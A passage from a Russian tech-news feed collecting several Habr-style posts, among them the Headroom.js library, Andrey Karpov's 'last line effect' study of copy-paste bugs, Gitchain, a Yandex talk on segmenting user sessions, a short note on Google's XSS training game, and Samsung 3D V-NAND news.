  3. Описание идеи (даже если она простая и типовая) партнерства.

  4. Ваше мнение о том, сколько единиц профита должны получать стороны, если сделка состоится.

  5. Перечисление всего, что вы можете дать, с подробным описанием стоимости каждого элемента сделки, а так же с указанием параметров производительности каждого элемента. Если по-простому: “Мы умеем вот такое, и оно УЖЕ работает вот настолько круто, с такими вот ребятами, а стоит, кстати, вот столько.»

  6. Когда предмет сделки полностью описан со всех сторон, сразу позиционируйте важность сделки. Что-то вроде “Мы сможем взорвать Вашу дистрибуцию, у нас есть все для этого, и нам очень не терпится начать”.

  7. Хорошая подпись со всеми каналами связи, и без всякой лишней тупой ерунды.


Написали письмо? Проверьте по чеклисту. Все ок? Отправляйте, пристегивайте ремни, наслаждайтесь входящим потоком писем.


Любой канал максимально эффективен. Просто думайте что и зачем вы пишете. И последнее — если ваш питч в поряде, а вам не ответили — пингуйте. Хватит это терпеть! Пингуйте не один, не два, не три раза. Пингуйте сто раз. Вы сильно удивитесь проценту сделок, которые оказывается вполне реально заключить тупо при помощи пальцев и клавиатуры.


Ну и, конечно, я местами категоричен. Вы знаете хороших менеджеров, к которым это все без сомнения не применимо. Не все менеджеры, с которыми нам приходится работать — полные мудланавты. Всего порядка 80%. Что лучше — 20% сделок или 100%?


Пеасе.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Headroom.js — библиотека, реализующая паттерн Quick Return для экономии вертикального пространства экрана

Одна из типичных проблем, возникающих перед разработчиком интерфейса для устройств с альбомной ориентацией экрана (особенно если у них маленькая диагональ) — недостаток вертикального пространства. Довольно популярный элемент — горизонтальная панель с кнопками или меню, зафиксированная над основным контентом, даёт быстрый доступ к нужным функциям, но занимает дефицитное место. Если не фиксировать её, а позволить прокручивать вместе со страницей, то при необходимости воспользоваться одной из кнопок, пользователю придётся возвращаться на самый верх. Один из шаблонов дизайна интерфейсов для решения этой проблемы получил название Quick Return (быстрый возврат) — при начале прокрутки вниз панель уходит за пределы экрана, но выдвигается вновь, как только начинается прокрутка вверх, независимо от того, в какой части страницы находится пользователь.

Принцип работы библиотеки Headroom.js, реализующей этот шаблон, очень прост — в ответ на начало скроллинга меняются CSS-классы панели, делая её видимой или невидимой. У библиотеки есть API как для чистого JavaScript, так и для jQuery/Zepto и AngularJS.



Использование




Чистый JS:

// находим элемент
var myElement = document.querySelector("header");
// создаём экземпляр Headroom, передавая в конструктор найденный элемент
var headroom = new Headroom(myElement);
// инициализируем экземпляр
headroom.init();




jQuery/Zepto:

// Проще некуда!
// init() вызывается неявно
$("header").headroom();




При использовании модуля data возможен и чисто декларативный стиль:

<!-- выбирается элемент $("[data-headroom]") -->
<header data-headroom>




AngularJS:

<header headroom></header>
<!-- или -->
<headroom></headroom>
<!-- или с опциями -->
<headroom tolerance='0' offset='0' classes="{pinned:'headroom--pinned',unpinned:'headroom--unpinned',initial:'headroom'}"></headroom>




Опции



Для управления поведением Headroom.js предусмотрены опции. Их немного, а структура объекта опций выглядит так:

{
// вертикальное смещение в пикселях, при котором панель "отцепляется"
offset : 0,
// допуск в пикселях, в пределах которого состояние не меняется
tolerance : 0,
// допуск также можно задать отдельно для прокрутки вверх или вниз
tolerance : {
down : 0,
up : 0
},
// Применяемые классы CSS
classes : {
// при инициализации элемента
initial : "headroom",
// при прокрутке вверх
pinned : "headroom--pinned",
// при прокрутке вниз
unpinned : "headroom--unpinned",
// выше вертикального смещения
top : "headroom--top",
// ниже вертикального смещения
notTop : "headroom--not-top"
},
// callback при фиксации элемента, здесь и далее this указывает на элемент
onPin : function() {},
// callback при отцеплении
onUnpin : function() {},
// callback при попадании выше вертикального смещения
onTop : function() {},
// callback при попадании ниже вертикального смещения
onNotTop : function() {}
}




Пример использования стилей


.headroom {
transition: transform 200ms linear;
}
.headroom--pinned {
transform: translateY(0%);
}

.headroom--unpinned {
transform: translateY(-100%);
}




Вот и всё. Поиграть с параметрами и стилями можно на демонстрационной странице. Библиотека распространяется под лицензией MIT. Автор Headroom.js — веб -разработчик Ник Вильямс, ему также принадлежит ещё один весьма популярный проект — библиотека enquire.js для работы с media queries.

This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Эффект последней строки

Copy-Paste

Я изучил множество ошибок, возникающих в результате копирования кода. И утверждаю, что чаще всего ошибки допускают в позднем фрагменте однотипного кода. Ранее я не встречал в книгах описания этого феномена, поэтому и решил о нём написать. Я назвал его «эффектом последней строки».



Введение




Меня зовут Андрей Карпов. Я занимаюсь необычным занятием. Я исследую программный код приложений с помощью статических анализаторов и описываю найденные ошибки и недочёты. Занимаюсь я этим из-за прагматичных и корыстных побуждений. Так наша компания рекламирует инструменты PVS-Studio и CppCat. Нашли ошибки. Описали в статье. Привлекли внимание. Profit. Но сегодня статья не про анализаторы.

В процессе анализа проектов я сохраняю замеченные ошибки и соответствующие фрагменты кода в специальной базе. Кстати, с содержимым этой базы может познакомиться любой желающий. Мы превращаем её в набор html-страниц и выкладываем их на сайте в разделе "Выявленные ошибки".


База уникальна! Сейчас она содержит около 1500 фрагментов кода с ошибками. Она ждёт людей, которые смогут выявить в этих ошибках закономерности. Это может послужить основой многих исследований и материалов для книг и статей.


Специально я не делал никаких исследований накопленного материала. Тем не менее одна закономерность так явно проявляет себя, что я решил изучить её подробнее. В статьях мне часто приходится писать «обратите внимание на последнюю строку». Я решил, что это не спроста.


Эффект последней строки




В исходном коде программы часто нужно написать несколько однотипных конструкций, идущих подряд. Набирать несколько раз однотипный код скучно и не эффективно. Поэтому используется метод Copy-Paste. Фрагмент кода копируется несколько раз, после чего делаются правки. Все знают, что этот метод плох. Легко забыть что-то поменять и в результате код будет содержать ошибку. К сожалению, часто хорошей альтернативы нет.

Теперь о закономерности. Я выяснил, что чаще всего ошибка допускается в самом последнем скопированном блоке кода.


Простой короткий пример:



inline Vector3int32& operator+=(const Vector3int32& other) {
x += other.x;
y += other.y;
z += other.y;
return *this;
}




Обратите внимание на строчку «z += other.y;». В ней забыли поменять 'y' на 'z'.

Пример кажется искусственным. Но этот код взят из реального приложения. Далее я убедительно покажу, что это очень частая и распространенная ситуация. Именно так и выглядит «эффект последней строки». Человек чаще всего допускает ошибку в самом конце внесения однотипных исправлений.


Я где-то слышал, что часто альпинисты срываются на последних десятках метрах подъема. Не потому, что они устали. Просто они радуются, что осталось совсем немного. Они предвкушают сладкий вкус победы над вершиной. В результате они ослабляют внимание и допускают роковую ошибку. Видимо, что-то такое случается и с программистами.


Теперь немного цифр.


Изучив базу ошибок, я выявил 84 фрагмента кода, которые, как мне кажется, были написаны с использованием Copy-Paste. Из них 41 фрагмент содержит ошибку где-то в середине скопированных блоков. Вот пример:



strncmp(argv[argidx], "CAT=", 4) &&
strncmp(argv[argidx], "DECOY=", 6) &&
strncmp(argv[argidx], "THREADS=", 6) &&
strncmp(argv[argidx], "MINPROB=", 8)) {




Длина строки «THREADS=» не 6, а 8 символов.

В остальных 43 случаях ошибка была найдена в самом последнем скопированном блоке.


На первый взгляд, число 43 совсем немного больше 41. Но учтите, что однотипных блоков бывает достаточно много. И ошибка может быть в первом, втором, пятом или даже в десятом блоке. Получаем относительно ровное распределение ошибок в блоках и резкий скачок в конце.


В среднем я взял, что количество однотипных блоков равно 5.


Получается, что на первые 4 блока приходится 41 ошибка. Или около 10 ошибок на один блок.


На последний пятый блок приходится 43 ошибки!


Для наглядности можно построить вот такой приблизительный график:


Рисунок 1. Приблизительный график количества ошибок в пяти блоках похожего кода.


Рисунок 1. Приблизительный график количества ошибок в пяти блоках похожего кода.


Получается:


Вероятность допустить ошибку в последнем скопированном блоке в 4 раза больше, чем в любом другом.


Каких-то грандиозных выводов я из этого не делаю. Просто интересное наблюдение. С практической точки зрения полезно знать о нём. Тогда можно заставить себя не расслабляться в самом конце.


Примеры




Осталось убедить читателей, что это не мои фантазии, а реалии жизни. Для этого я продемонстрирую примеры, которые подтвердят мои слова.

Все примеры я, конечно, приводить не буду. Ограничусь наиболее простыми или показательными.


Source Engine SDK



inline void Init( float ix=0, float iy=0,
float iz=0, float iw = 0 )
{
SetX( ix );
SetY( iy );
SetZ( iz );
SetZ( iw );
}




В конце нужно было вызвать функцию SetW().

Chromium



if (access & FILE_WRITE_ATTRIBUTES)
output.append(ASCIIToUTF16("\tFILE_WRITE_ATTRIBUTES\n"));
if (access & FILE_WRITE_DATA)
output.append(ASCIIToUTF16("\tFILE_WRITE_DATA\n"));
if (access & FILE_WRITE_EA)
output.append(ASCIIToUTF16("\tFILE_WRITE_EA\n"));
if (access & FILE_WRITE_EA)
output.append(ASCIIToUTF16("\tFILE_WRITE_EA\n"));
break;




Совпадает последний и предпоследний блок.

ReactOS



if (*ScanString == L'\"' ||
*ScanString == L'^' ||
*ScanString == L'\"')




Multi Theft Auto



class CWaterPolySAInterface
{
public:
WORD m_wVertexIDs[3];
};
CWaterPoly* CWaterManagerSA::CreateQuad (....)
{
....
pInterface->m_wVertexIDs [ 0 ] = pV1->GetID ();
pInterface->m_wVertexIDs [ 1 ] = pV2->GetID ();
pInterface->m_wVertexIDs [ 2 ] = pV3->GetID ();
pInterface->m_wVertexIDs [ 3 ] = pV4->GetID ();
....
}




Последняя строчка написана по инерции и является лишней. В массиве всего 3 элемента.

Source Engine SDK



intens.x=OrSIMD(AndSIMD(BackgroundColor.x,no_hit_mask),
AndNotSIMD(no_hit_mask,intens.x));
intens.y=OrSIMD(AndSIMD(BackgroundColor.y,no_hit_mask),
AndNotSIMD(no_hit_mask,intens.y));
intens.z=OrSIMD(AndSIMD(BackgroundColor.y,no_hit_mask),
AndNotSIMD(no_hit_mask,intens.z));




В последней строке забыли заменить «BackgroundColor.y» на «BackgroundColor.z».

Trans-Proteomic Pipeline



void setPepMaxProb(....)
{
....
double max4 = 0.0;
double max5 = 0.0;
double max6 = 0.0;
double max7 = 0.0;
....
if ( pep3 ) { ... if ( use_joint_probs && prob > max3 ) ... }
....
if ( pep4 ) { ... if ( use_joint_probs && prob > max4 ) ... }
....
if ( pep5 ) { ... if ( use_joint_probs && prob > max5 ) ... }
....
if ( pep6 ) { ... if ( use_joint_probs && prob > max6 ) ... }
....
if ( pep7 ) { ... if ( use_joint_probs && prob > max6 ) ... }
....
}




В последнем условии забыли заменить «prob > max6» на «prob > max7».

SeqAn



inline typename Value<Pipe>::Type const & operator*() {
tmp.i1 = *in.in1;
tmp.i2 = *in.in2;
tmp.i3 = *in.in2;
return tmp;
}




SlimDX



for( int i = 0; i < 2; i++ )
{
sliders[i] = joystate.rglSlider[i];
asliders[i] = joystate.rglASlider[i];
vsliders[i] = joystate.rglVSlider[i];
fsliders[i] = joystate.rglVSlider[i];
}




В последней строке надо было использовать массив rglFSlider.

Qt



if (repetition == QStringLiteral("repeat") ||
repetition.isEmpty()) {
pattern->patternRepeatX = true;
pattern->patternRepeatY = true;
} else if (repetition == QStringLiteral("repeat-x")) {
pattern->patternRepeatX = true;
} else if (repetition == QStringLiteral("repeat-y")) {
pattern->patternRepeatY = true;
} else if (repetition == QStringLiteral("no-repeat")) {
pattern->patternRepeatY = false;
pattern->patternRepeatY = false;
} else {
//TODO: exception: SYNTAX_ERR
}




В самом последнем блоке забыли про 'patternRepeatX'. Должно быть:

pattern->patternRepeatX = false;
pattern->patternRepeatY = false;




ReactOS



const int istride = sizeof(tmp[0]) / sizeof(tmp[0][0][0]);
const int jstride = sizeof(tmp[0][0]) / sizeof(tmp[0][0][0]);
const int mistride = sizeof(mag[0]) / sizeof(mag[0][0]);
const int mjstride = sizeof(mag[0][0]) / sizeof(mag[0][0]);




Переменная 'mjstride' будет всегда равна единицы. Последняя строчка должна быть такой:

const int mjstride = sizeof(mag[0][0]) / sizeof(mag[0][0][0]);



Mozilla Firefox



if (protocol.EqualsIgnoreCase("http") ||
protocol.EqualsIgnoreCase("https") ||
protocol.EqualsIgnoreCase("news") ||
protocol.EqualsIgnoreCase("ftp") || <<<---
protocol.EqualsIgnoreCase("file") ||
protocol.EqualsIgnoreCase("javascript") ||
protocol.EqualsIgnoreCase("ftp")) { <<<---




Подозрительная строка «ftp» в конце. С этой строкой уже сравнивали.

Quake-III-Arena



if (fabs(dir[0]) > test->radius ||
fabs(dir[1]) > test->radius ||
fabs(dir[1]) > test->radius)




Не проверили значение из ячейки dir[2].

Clang



return (ContainerBegLine <= ContaineeBegLine &&
ContainerEndLine >= ContaineeEndLine &&
(ContainerBegLine != ContaineeBegLine ||
SM.getExpansionColumnNumber(ContainerRBeg) <=
SM.getExpansionColumnNumber(ContaineeRBeg)) &&
(ContainerEndLine != ContaineeEndLine ||
SM.getExpansionColumnNumber(ContainerREnd) >=
SM.getExpansionColumnNumber(ContainerREnd)));




В самом конце выражение «SM.getExpansionColumnNumber(ContainerREnd)» сравнивается само с собой.

MongoDB



bool operator==(const MemberCfg& r) const {
....
return _id==r._id && votes == r.votes &&
h == r.h && priority == r.priority &&
arbiterOnly == r.arbiterOnly &&
slaveDelay == r.slaveDelay &&
hidden == r.hidden &&
buildIndexes == buildIndexes;
}




Забыли в самом конце про «r.».

Unreal Engine 4



static bool PositionIsInside(....)
{
return
Position.X >= Control.Center.X - BoxSize.X * 0.5f &&
Position.X <= Control.Center.X + BoxSize.X * 0.5f &&
Position.Y >= Control.Center.Y - BoxSize.Y * 0.5f &&
Position.Y >= Control.Center.Y - BoxSize.Y * 0.5f;
}




В последней строке забыли сделать 2 правки. Во-первых, надо заменить ">=" на "

Qt



qreal x = ctx->callData->args[0].toNumber();
qreal y = ctx->callData->args[1].toNumber();
qreal w = ctx->callData->args[2].toNumber();
qreal h = ctx->callData->args[3].toNumber();
if (!qIsFinite(x) || !qIsFinite(y) ||
!qIsFinite(w) || !qIsFinite(w))




В самом последнем вызове функции qIsFinite, нужно использовать в качестве аргумента переменную 'h'.

OpenSSL



if (!strncmp(vstart, "ASCII", 5))
arg->format = ASN1_GEN_FORMAT_ASCII;
else if (!strncmp(vstart, "UTF8", 4))
arg->format = ASN1_GEN_FORMAT_UTF8;
else if (!strncmp(vstart, "HEX", 3))
arg->format = ASN1_GEN_FORMAT_HEX;
else if (!strncmp(vstart, "BITLIST", 3))
arg->format = ASN1_GEN_FORMAT_BITLIST;




Длина строки «BITLIST» не 3, а 7 символов.

На этом остановимся. Думаю, приведённых примеров более чем достаточно.


Заключение




В этой статье вы узнали, что при использовании Copy-Paste вероятность допустить ошибку в последнем скопированном блоке в 4 раза выше, чем в любом другом.

Эта особенность психологии человека, а не его профессиональных навыков. В статье мы увидели, что к тяге к ошибкам в конце склонны даже высококвалифицированные разработчики таких проектов, как Clang или Qt.


Надеюсь моё наблюдение окажется полезным. И, возможно, подтолкнет людей к исследованию накопленной базы ошибок. Думаю, она позволит найти много интересных закономерностей и сформулировать новые рекомендации для программистов.


Эта статья на английском




Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. The Last Line Effect.

This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Gitchain: смесь Гитхаба с Биткоином

Канадский программист Юрий Рашковский решил объединить две популярные технологии — систему контроля версий Git и распределённую БД Биткоин. Его проект Gitchain, который недавно успешно собрал на Кикстартере запланированные 10 000 долларов, по задумке автора позволит сделать систему контроля версий Git по-настоящему распределённой. С ростом популярности крупных публичных репозиториев, таких как Гитхаб, система Git, которая изначально задумывалась как распределённая, фактически используется централизованно и полностью зависит от сторонних серверов.



В Gitchain цепочка блоков, построенная по образу и подобию Биткоина, хранит метаданные репозиториев. Это напоминает устройство сети Namecoin, где имена доменов и данные их владельцев общедоступны и защищены от подделок точно так же, как защищены транзакции сети Биткоин. Сам код и данные репозиториев хранятся отдельно, в сети DHT, так как их объём может быть слишком большим и быстро раздует цепочку блоков до неприемлемого размера. Вот небольшой скринкаст, который демонстрирует сеанс работы с Gitchain:


Юрий Рашковский пишет, что собранных денег хватит на то, чтобы завершить разработку базовой версии Gitchain до конца лета. Если удастся собрать 15 000 долларов, будут добавлены некоторые продвинутые функции — возможность создавать приватные зашифрованные репозитории, а также система вознаграждений участников сети, причём не только за майнинг блоков (proof of work), но и за хранение и передачу данных (proof of storage, proof of bandwidth). Это позволит перевести сеть из разряда хобби-проекта для энтузиастов в нечто более срьёзное и масштабируемое.


Весь код Gitchain открыт и доступен на Гитхабе под лицензией Apache 2.0


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Как улучшить сегментацию пользовательской активности. Семинар в Яндексе

Известно, что активность пользователей дает разнообразную полезную информацию для поисковой системы. В частности, она помогает понять, какая информация необходима пользователю, выделить его персональные предпочтения, контекст темы, которой пользователь в данный момент интересуется. Большинство предыдущих исследований по данной теме либо рассматривали все действия пользователя за фиксированный период времени, либо делили активность на части (сессии) в зависимости от заранее определенного периода неактивности (таймаута).

Такие подходы позволяют выделить группы сайтов, которые посещаются с одинаковой информационной потребностью. Однако, очевидно, что качество такой простой сегментации ограничено, поэтому лучшее качество может быть достигнуто с помощью более сложных алгоритмов. Этот доклад посвящен проблеме автоматического разделения активности пользователей на логические сегменты. Опираясь на имеющуюся информацию, мы предлагаем метод для автоматического разделения их повседневной деятельности на группы на основе информационной потребности. Я расскажу о нескольких методах сегментации и приведу сравнительный анализ их эффективности. Предложенные алгоритмы значительно превосходят методы, основанные на разделении в зависимости от таймаута.


Пользовательская активность в браузере, поисковике или на конкретном сайте является богатым источником полезной информации: переформулировки запросов, навигация до и после запроса/посещения портала. К сожалению, эта информация никак не структурирована и очень зашумлена. Основной задачей становится обработка, структуризация и очистка сырых данных. я хотел бы предложить метод для автоматического разделения пользовательской активности на логически связанные компоненты.



Пользователь взаимодействует с поисковиком и браузером непрерывно:



  • задает запросы;

  • кликает на документы в выдаче;

  • запрашивает новые страницы в выдаче;

  • перемещается между страницами, используя ссылки и навигационные кнопки браузера;

  • переключается между вкладками;

  • скроллит страницы, водит по ним мышкой;

  • уходит в другие поисковики.




Важно научиться рассматривать эти события не только атомарно, но и связывать между собой лучше понимая, что движет пользователем. Одно событие ведет за собой другое, и если мы научимся их связывать между собой, мы сможем лучше понимать, что движет пользователем.

В связи с изучением пользовательских сессий возникает несколько задач:



  1. определение границ логических сессий;

  2. предсказание следующего действия в сессии;

  3. извлечение сессионной информации для помощи в совершении следующего действия;

  4. моделирование действий пользователя в рамках одной сессии;

  5. Оценка скрытых данных в течение сессии – информационная потребность, удовлетворенность сессией, усталость.




Далее нам потребуется сформулировать несколько определений и ввести несколько обозначений. Главный герой моего рассказа – браузерная сессия – это последовательность страниц, посещенных пользователем в течение дня: Du – (d1.......dn). Второстепенный объект – запросная сессия – последовательность запросов заданных пользователем в течение одного дня: Qu – (q1.......qn). Vs также хотим выделить логическую браузерную сессию (и логическую запросную сессию) – часть браузерной сессии, состоящую из логически связанных страниц, посещенных с одной и той же информационной потребностью g:


Рассмотрим пример того, какой может быть пользовательская сессия:



Пользователь заходит на страницу поисковика, начинает искать информацию про научные семинары, перешел на страницу со списком всех семинаров Яндекса и узнал, что 28 марта будет интересный ему доклад и прочитал его анонс. Вдруг он заметил в анонсе какое-то неизвестное ему понятие и захотел посмотреть, что это такое. Он переходит по ссылке на сайт ecir2013.org. В этот момент у него поменялась информационная потребность: в начале он хотел посмотреть информацию про семинары, теперь он заинтересовался конференцией. Посмотрев на главную страницу конференции, он находит еще одно неизвестное понятие – информационный поиск. Он снова идет в поисковик и вводит там запрос [информационный поиск]. В поиске он находит станицу в Википедии, читает про нее, решает, что ему эта тема интересна, и возвращается на портал Яндекса, чтобы посмотреть, где же будет проходить семинар, т.е. возвращается к исходной логической сессии.


Конечно, это искусственный пример, но на нем можно проследить некоторые важные особенности логических сессий:



  1. Как правило, логические сессии перемежаются.

  2. Некоторые страницы участвуют в нескольких логических сессиях.

  3. Пользовательская потребность изменяется до задания запроса.




Сделаем небольшое отступление и посмотрим, что можно понять глядя на запросные сессии: какую информацию о пользователе можно извлечь. Пользователи могут задавать разные запросы по одной и той же тематике, если сразу не удается найти необходимую информацию. Но как они будут себя вести, если ответ не находится на первой странице поисковой выдачи, второй, третьей и т.д. На графике представлены данные для запросных сессий разной длины.


Красным отмечена запросная сессия длиной в три запроса. Видно, что в течение сессии качество ответа растет. Пользователь формирует все более хорошие ответы. Та же тенденция прослеживается на более длинных сессиях. Сколь бы долго пользователь не менял формулировку запроса, в среднем качество выдачи улучшается. Пользователь понимает, как лучше переформулировать запрос.


Как правило Du сегментируется на основе периода неактивности τ (здесь τ(d) – момент открытия d). di и di+1 принадлежат одной сессии, соответственно, τ(di+1) — τ(di) < τ. Это самый популярный и распространенный подход. Но очевидно, что он не работает, когда сессии перемежаются друг с другом. Если пользователь вернется к какой-то теме, с точки зрения этого подхода, это уже будет новая логическая сессия.


Задача логического разбиения запросных сессий уже решалась в двух работах:



  • P. Boldi et al. The Query-flow Graph: Model and Applications.

  • R. Jones et al. Beyond the Session Timeout: Automatic Hierarchical Segmentation of Search Topics in Query Logs.




Там применялись разные методы и преследовались разные цели, но авторы обеих работ утверждают, что их методы позволяют значимо улучшить временное разбиение. Это и смотивировало меня попытаться найти алгоритм, который работал бы лучше для браузерных сессий.

В своем исследовании я решил поднять несколько вопросов:



  • Возможно ли уточнить логическое разбиение запросных сессий до уровня браузерный сессий?

  • Насколько качественное разбиение дает подход, основанный на периоде неактивности?

  • Как разные алгоритмы кластеризации влияют на качество сегментации?

  • Какие источники факторов важны для логической сегментации?




Метод




В качестве исходных данных применялись сырые браузерные сессии – последовательности страниц, посещенных пользователем. Сама же сегментация строится в два шага:


  1. Попарная классификация. Предсказываем, с одной ли целью пользователь посетил пару страниц (di,dj ): учим функцию p(di,dj)∈[0;1], оценивающую вероятность принадлежности di,dj одной логической сессии.

  2. Кластеризация. Для разных оценок p(di,dj) кластеризовать полный граф на N вершинах di с весами ребер p(di,dj) в сильно связные компоненты




В результате у нас получается сегментация:


Рассмотрим каждый из двух шагов подробнее. Начнем с классификации. В машинном обучении всегда в первую очередь нужно собрать набор примеров. Мы разметили руками достаточно большой набор пар на предмет того, относятся ли они к одной логической сессии. Далее для каждой оценочной пары (d, d') извлекаем факторы



После этого учим классификатор p(di,dj).


В качестве модели для классификатора мы используем дерево решений с логистической функцией потерь. Она максимизирует вероятность корректной классификации всех пар:



Для каждой пары (d, d') мы извлекаем четыре типа факторов (всего около 29 штук):



  1. Факторы на основе URL.

  2. Текстовые факторы.

  3. Сессионные факторы. Время между посещениями d, d', количество документов между ними, был ли переход по ссылкам.

  4. Контекстные обобщения. Те же, что и в предыдущих трех пунктах, только вычисление для документа d", предшествующего d'.




Будем считать, что классификация произведена, и теперь наша цель – кластеризовать полный граф, найти разбиение, максимизирующее вероятность (значения ρ фиксированы, разбиение изменяется):


Π' – произведение по всем парам (d, d') из одного кластера;

Σ – сумма по всем парам (d, d') из разных кластеров;

Π" – произведение по всем парам (d, d') из всех кластеров.


Постановка задачи выглядит неплохо, однако в таком виде она оказывается NP-полной. Т.е. при большом размере сессий кластеризация будет очень затратна вычислительно. Поэтому приходится применять различные жадные алгоритмы. При работе с жадными алгоритмами подобного типа всегда возникает баланс между скоростью, качеством и областью применимости, который нужно подбирать непосредственно под конкретную задачу. Я разбил все жадные алгоритмы на две области применимости. Первая – это кластеризация в реальном времени: каждый новый документ dnew добавляется к текущему кластеру (g1, g2) или образует новый (gnew ).



Я использовал три жадных алгоритма:



  1. Максимальное правдоподобие последней страницы. dg – последняя страница сегмента g. Все p(dg,dnew) < 1/2, следовательно, начинаем новую сессию. Иначе добавляем dnew к сессии с максимальной вероятностью.

  2. Максимальное правдоподобие всех страниц. Все p(d,dnew) < 1/2, следовательно начинаем новую сессию. Иначе добавляем dnew к сессии, содержащей документ с максимальной вероятностью.

  3. Жадное добавление. Добавление dnew чтобы максимизировать рост Φ. Если Φ всегда уменьшается для всех g, начинаем новый сегмент.




Второй тип алгоритмов работает со всей дневной активностью пользователя сразу, т.е. проводит пост-кластеризацию. К этому типу относится жадное слияние. Мы создаем N – |Du | кластеров. Жадным образом сливаем существующие кластеры, пока можно увеличить Φ.


Сложность первого алгоритма O(G × N), где G – количество сегментов. У всех остальных алгоритмов сложность O(N2).


Эксперименты




В качестве сырых данных были использованы анонимизированные браузерные логи, собранные с помощью тулбара. Они содержали адреса публичных страниц, для каждой из которых извлекалось время посещения, источник посещения (если был переход по ссылке), текст документа и ссылки, по которым пользователь с них уходил (если это происходило). Для обучающей выборки каждая браузерная сессия была вручную поделена асессорами на логические сессии. Всего у нас было 220 браузерных логических сессий и 151 тысяча пар для обучения классификатора: 78 тысяч из одной сессии и 73 тысячи из разных. Средняя длина логической сессии составляла 12 страниц, а среднее число логических сессий у пользователя в день – 4,4.

В таблице ниже представлено качество временного разбиения и классификаторов, обученных на разных наборах факторов:
























Набор факторовВременное разбиениеВсеБез контекстаБез текста
F-мера80%83%83%82%
Точность72%82%81%81%



Существует метод, позволяющий посчитать вклад каждого фактора в процессе машинного обучения. В таблице ниже приведены 10 лучших факторов и их вклад.
























































RkФакторОчки
1время между d1 и d1 1
2LCS0.58
3LCS/length(url1) 0.40
4LCS/length(url2) 0.40
5# страниц между d1 b d1 0.33
6триграммное совпадение URL0.32
7контекстный LCS/length(url1) 0.32
8один хост0.22
9LCS/length(url2) 0.20
10контекстный LCS0.20

Как мы и ожидали, самый важный фактор – время между посещением документов. Также довольно естественно, что важную роль играет URL и LCS (длина общей подстроки URL). Какую-то роль играют контекстные факторы. При этом здесь нет ни одного текстового фактора.


Теперь перейдем к экспериментам в кластеризации. Мера качества алгоритмов основана на Rand Index . Для двух сегментаций S1, S2 множества Du он равен доле одинаково соответственных пар документов:



Здесь n1 – # пар из одного сегмента S1, S2, n2 – # пар из разных сегментов S1, S2 , N – # элементов в Du . Далее S1 – идеальная сегментация, а S2 – оцениваемая. R(S1, S2) представляет собой точность соответствующего классификатора. На графике ниже представлен Rand Index для периода активности в τ:



Теперь посмотрим, как работают описанные нами выше алгоритмы:

































МетодRand IndexСложность
Временной0.72-
Макс. правдоподобие посл. страниц0.75O(N × G)
Макс. правдоподобие всех страниц0.79O(N2)
Жадное добавление0.82O(N2)
Жадное слияние0.86O(N2)



Качество классификатора соответствующего жадному слиянию (0.86) даже выше, чем у исходного классификатора (0.82).

Выводы





  1. Предложен метод автоматической обработки браузерных логов, уточняющий разбиение запросных логов.

  2. Мы свели задачу сегментации к хорошо изученным задачам классификации и кластеризации.

  3. Хотя временной подход довольно неплох, более сложные алгоритмы кластеризации ощутимо его превосходят.

  4. Контекстные и текстовые факторы оказываются гораздо менее важными для определения логических связей между страницами в пределах одной сессии, чем факторы основанные на сессионных данных и совпадении URL.


Ближайший научно-технический семинар в Яндексе состоится 10 июня. Он будет посвящен теме рекомендательных систем и распределенных алгоритмов .


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


XSS-game от Google

Google представил игру, заключающуюся в поиске xss-уязвимостей, c целью распространения информации об этом наиболее опасном и распространенном типе уязвимости. Google очень серьезно относится к обнаружению уязвимостей, что платит до $7500 за серьезные xss.

Ну а игра покажет как выявлять xss, это знание поможет вам предотвращать ошибки в ваших приложениях. Всего в игре 6 уровней, в случае затруднения в выполнении заданий можно воспользоваться подсказками. По прохождению игры обещают тортик. :)


Заметка короткая, под кат не убираю, разомните мозги в этот выходной день! Я вот без подсказок осилил только 1-й уровень, с подсказками дошел до 6-го, дальше пока никак.

Ну-ка, сыграем


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Я хочу! Или мир рекламы с ног на голову

Давно засилье рекламы доставляет дискомфорт обычному пользователю. Мы научились бороться с ней и блокировать на разных уровнях. Частенько нам предлагают товары и услуги которые нам часто не нужны. Google научился подбирать рекламу по потребностям пользователя но случается что потребность пользователь удовлетворил а реклама все мелькает перед его глазами.

В тоже время существуют биржи на которых продаются акции и даже товары. На них есть тот кто хочет продать и тот кто хочет купить.


Я думаю а почему бы не дать возможность пользователю объявить своё желание с параметрами времени и цены и пусть за его выбор борются производители и поставщики товаров и услуг.




Например: «Хочу шоколадку» в течении часа за 50 рублей максимум. И ближайшие магазины (скорей всего автоматика) дают по этому запросы предложения и соревнуются в цене, скорости и качестве может даже в наличии бесплатной доставки. Пользователь в свою очередь выбирает из них и делает заказ. После этого он получает возможность дать оценку поставщику и товару/услуге.


Конечно будет множество предложений которыми пользователь не воспользуется и если поставщик залезает явно не в свою тему получит минус в свою карму.


Порой человек не знает чего он хочет, тогда он может посмотреть на желания других людей и сделать свой выбор.


Со временем человек сможет обходиться без личной собственности ведь он сможет быстро найти то что ему нужно в данный момент без того чтобы это носить с собой или хранить где то. Единственная вещь которая ему будет нужна это смартфон который будет объявлять его желания на весь мир.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Samsung запускает производство первой в отрасли флеш-памяти 3D V-NAND, имеющей 32 слоя ячеек памяти


сегодня в 13:38


Добрый день, Хабр!

Компания Samsung Electronics объявила о начале массового производства первой в отрасли флеш-памяти 3D V- NAND, имеющей в своей объемной структуре 32 вертикально сложенных слоя ячеек памяти.


image



Это уже второе поколение флеш-памяти 3D V-NAND от Samsung. Серийный выпуск чипов первого поколения начался в августе прошлого года, и они состояли из 24-х слоев ячеек памяти. Несмотря на то, что увеличение числа слоев требует более высокого уровня технологии проектирования, оно обеспечивает существенное повышение эффективности производства, поскольку Samsung может использовать практически то же самое оборудование, которое было задействовано при производстве памяти 3D V-NAND первого поколения.


image


